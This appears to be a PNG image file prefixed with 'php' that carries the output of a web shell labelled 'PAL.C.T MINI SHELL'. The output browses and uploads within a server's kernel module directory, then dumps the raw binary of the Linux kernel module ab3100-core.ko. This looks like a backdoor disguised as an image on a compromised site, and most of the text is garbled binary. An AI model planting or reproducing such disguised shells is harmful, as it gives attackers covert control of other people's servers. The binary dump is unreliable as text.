php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/mfd/
upload
files >> //lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/mfd/ab3100-core.ko

ELFZ4(#"GNU1Pȕ^toC`P@tÍxlt@h1ɉÍt&'\Bp1Ít&\$Ét$T$L$t\$t$fCT$xAt4D$CD$$$\$t$Ívf1vD$CD$$
Ћ\SCD[É'T&T&(\$Ét$Ή|$ |$,T$T$l$$D$tЋ\$t$|$ l$$(ÍCT$xyt4D$CD$$؉T$T$뛍&CT$l$x}tHD$CD$$fD$D$dCT$$T$뇍&"D$	D$Cx@u0SvD$D$fD$CD$$$D$D$r$\$Ét$t$(|$ωl$ T$@@`<v
t\$t$|$l$ $Ðt&CT$xyt,D$CD$x$뤍&CxI9t$D$Ct$D$$f1묍t&D$CD$H$돉D$CD$$svU!VSXL$$uRt$D$	D$	ƀ{lushCl1ɉCTuOCP[^]ftt׀=tD$XC$D$t=/tt$D$8C$D${v'\$Ét$Ή|$T$t\$t$|$Ít&CT$xit,D$CD$$멍&CxKt>D$CD$$븉D$CD$$럍&f1듍vD$CD$$tt&UWVSLe\$H1ۃFt$(hpED$¸u@1D<(~|$( t< uB9؍L$ D(t>\$He3L[^_]Í|( u
뼐t&< t9먋T$ T$wP}tr9~|( tJv< uA9؍L$D(l|$ vjX11뇉t&< t9밋D$ډڍL$'D$'\$\$D$D$C$\$t$D$ډڋD$L$'D$'T$t$D$\$D$B$fUWVS1ۃx@D$|$l$ډD$\$D$D$4$u̓1[^_]v4<!p;CXg#Ut|p.dujt{ltEdlsp2fy	Uonyxvoxo'/ TdrWV1S@ ËuCP1[^_e&05:?DINS[|hbokUЀWVST$@l~ (D$puD$X<$<|CTډCds{K@ 1<$D$:S@uwtWk ,$D$D$D$l$D$$<$fVFCi,<$D$7RrLT$1--Duـ{@D$C$D$D$CT$yD$D$C$&uf1D$D$<C$^CH1CD0CHCLCPP\$D$P$`1xT$PTڃuϺ1Ҹ[$bD$$
lD$$tD
tD$$u/C[^_]C@<$D$D$<$D$ʼng)7qER\afkpxdohx05Ddlv{i7DVb}u{!(0:@FOV[binsx}|kzPab3100ab3100_workgm08write error (write register): %d
write error (write register) %d bytes transferred (expected 2)
write error (maskset send address): %d
write error (maskset send address) %d bytes transferred (expected 1)
write error (maskset read register): %d
write error (maskset read register) %d bytes transferred (expected 1)
write error (send first register address): %d
write error (send first register address) %d bytes transferred (expected 1)
write error (read register page): %d
write error (read register page) %d bytes transferred (expected %d)
ab3100_core: IRQ Event: 0x%08x
ab3100_core: error in event workqueue
write error (send register address): %d
write error (send register address) %d bytes transferred (expected 1)
write error (read register): %d
write error (read register) %d bytes transferred (expected 1)
could not allocate AB3100 device
&(&ab3100->event_subscribers)->rwsemcould not communicate with the AB3100 analog baseband chip
AB3100 P1E variant detected, forcing chip to 32KHz
write error (write test register): %d
write error (write test register) %d bytes transferred (expected 2)
unknown analog baseband chip id: 0x%x
accepting it anyway. Please update the driver.
debug read AB3100 reg[0x%02x]: 0x%02x
debug write reg[0x%02x] with 0x%02x, after readback: 0x%02x
<7>&ab3100->access_mutexAB3100 %sDetected chip: %s
AB3000 is not supported
AB3100 IRQab3100registersget_regset_regAB3100 registers:
[0x%x]:  0x%x
P1AP1BP1CP1DP1EP1F/R1AP1G/R1AP2A/R2AP2B/R2Bab3100_coredrivers/mfd/ab3100-core.cerror in event workqueue
IRQ Event: 0x%08x
ab3100-dacab3100-ledsab3100-powerab3100-regulatorsab3100-simab3100-uartab3100-rtcab3100-chargerab3100-boostab3100-adcab3100-fuelgaugeab3100-vibratorab3100-otpab3100-codeclicense=GPLdescription=AB3100 core driverauthor=Linus Walleij <linus.walleij@stericsson.com>srcversion=F2AB2FDD9ADE265FC25D8D1alias=i2c:ab3100depends=i2c-corevermagic=2.6.32-504.3.3.el6.i686 SMP mod_unload modversions 686 )AWc
w
y

 $
(o,
04
8<
n~$,4<D./0$%&+,-Pab3100_event_registers_startup_state_getab3100_event_unregisterab3100_event_registerab3100_mask_and_set_register_interruptibleab3100_get_register_page_interruptibleab3100_get_register_interruptibleab3100_set_register_interruptibleab3100_get_chip_typenAmodule_layoutҗ&li2c_master_sendLKdebugfs_create_dir;>single_open+dev_set_drvdata!'disable_irq_nosync8/i2c_del_driverqdev_printk܄4single_releasemalloc_sizes=+dynamic_debug_enabled2[I3schedule_work-lVyseq_printf(mutex_unlockA,@blocking_notifier_chain_unregister7Aqdebugfs_create_file+K+seq_readBi2c_new_dummyvnqdev_err|mutex_lock_interruptible[|J__mutex_init&#strict_strtoulaadebugfs_removesstrlcpyBiplatform_device_unregistermrequest_threaded_irqQ6	i2c_unregister_device+platform_add_devicesi$i2c_register_driverFG_dev_info__stack_chk_fail	~tablocking_notifier_call_chain􀴜dynamic_debug_enabled\MEblocking_notifier_chain_registerEkmem_cache_alloc_trace
"VUi2c_master_recv@seq_lseek	enable_irqzkfreew~dev_warnpsnprintfDcopy_from_userdev_get_drvdata__init_rwsemث
free_irq
[ @	`
 
@%0<I[fr}$,gX @	`
 
@00 $ab3100_cores<j`dmodule.sig^T
	J?OXDgFY023ܣsyvXw^>`4ƭpmS<t

P,
<lJ
oX8me0.;GSWlhh@4
6)i
)
"ABb
W+ 
2'c(
"0
D"p8
0D D(D<DU@DgDz	D`
DD 
DDD@D	D0,>H#[iz@A0L
$*5?qR]		P/	9	`O	c	x						$


!
 I
X
JUm



yD



b9#`EY|w^(60M\opzab3100-core.cab3100_get_set_reg_open_fileab3100_i2c_exitab3100_driverab3100_removeab3100_platform_devsab3100_set_reg_fileab3100_get_reg_fileab3100_reg_fileab3100_dirab3100_registers_openab3100_registers_printab3100_irq_handlerab3100_i2c_initab3100_workdescriptor.29998descriptor.29994ab3100_probe__key.30266__key.30267idsab3100_init_settingsab3100_registers_fopsab3100_get_privab3100_get_set_reg_fopsab3100_set_privab3100_get_set_reg__mod_license997__mod_description996__mod_author995__ksymtab_ab3100_event_registers_startup_state_get__kstrtab_ab3100_event_registers_startup_state_get__kcrctab_ab3100_event_registers_startup_state_get__ksymtab_ab3100_event_unregister__kstrtab_ab3100_event_unregister__kcrctab_ab3100_event_unregister__ksymtab_ab3100_event_register__kstrtab_ab3100_event_register__kcrctab_ab3100_event_register__ksymtab_ab3100_mask_and_set_register_interruptible__kstrtab_ab3100_mask_and_set_register_interruptible__kcrctab_ab3100_mask_and_set_register_interruptible__ksymtab_ab3100_get_register_page_interruptible__kstrtab_ab3100_get_register_page_interruptible__kcrctab_ab3100_get_register_page_interruptible__ksymtab_ab3100_get_register_interruptible__kstrtab_ab3100_get_register_interruptible__kcrctab_ab3100_get_register_interruptible__ksymtab_ab3100_set_register_interruptible__kstrtab_ab3100_set_register_interruptible__kcrctab_ab3100_set_register_interruptible__ksymtab_ab3100_get_chip_type__kstrtab_ab3100_get_chip_type__kcrctab_ab3100_get_chip_typeab3100_idab3100_dac_deviceab3100_leds_deviceab3100_power_deviceab3100_regulators_deviceab3100_sim_deviceab3100_uart_deviceab3100_rtc_deviceab3100_charger_deviceab3100_boost_deviceab3100_adc_deviceab3100_fuelgauge_deviceab3100_vibrator_deviceab3100_otp_deviceab3100_codec_device__func__.29995ab3100-core.mod.c_rheldata__mod_srcversion74__mod_alias72__module_depends____versions__mod_vermagic5free_irqab3100_event_registers_startup_state_get__init_rwsemdev_get_drvdatacopy_from_user__this_modulesnprintfdev_warncleanup_modulekfreeenable_irqseq_lseek__crc_ab3100_event_unregisterab3100_get_register_interruptiblei2c_master_recvkmem_cache_alloc_traceblocking_notifier_chain_registerinit_moduledynamic_debug_enabledblocking_notifier_call_chain__stack_chk_failab3100_event_unregister_dev_infoab3100_event_registeri2c_register_driverplatform_add_devicesi2c_unregister_devicerequest_threaded_irq__crc_ab3100_event_registerplatform_device_unregister__crc_ab3100_get_chip_typeab3100_get_chip_typestrlcpydebugfs_remove__crc_ab3100_get_register_interruptiblestrict_strtoul__crc_ab3100_get_register_page_interruptible__mutex_initmutex_lock_interruptibledev_err__crc_ab3100_set_register_interruptiblei2c_new_dummyseq_read__crc_ab3100_mask_and_set_register_interruptibleab3100_set_register_interruptibledebugfs_create_fileblocking_notifier_chain_unregistermutex_unlockab3100_get_register_page_interruptibleseq_printfschedule_workdynamic_debug_enabled2malloc_sizessingle_releasedev_printk__crc_ab3100_event_registers_startup_state_get__mod_i2c_device_tablei2c_del_driverdisable_irq_nosyncdev_set_drvdatasingle_opendebugfs_create_dirab3100_mask_and_set_register_interruptiblei2c_master_sendab3100-core.ko.debugFP.rodata.str1.1.rodata.str1.4.rel.data.rel.init.data.rheldata.rel.rodata.init.rodata.rel__kcrctab.symtab.rel__ksymtab.strtab.shstrtab.note.gnu.build-id.rel.gnu.linkonce.this_module.rel__verbose.note.module.sig.gnu_debuglink.modinfo__ksymtab_strings__versions.bss.rel.text.rel.init.text.rel.exit.text4$`H	8@y4	)<%	F< B	824A2u`! u@q	
_D [	d@- )	PHN8@ 2+ 	>?0	 @@`@L 	AA Axi4B 
 bTL0YLYC
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`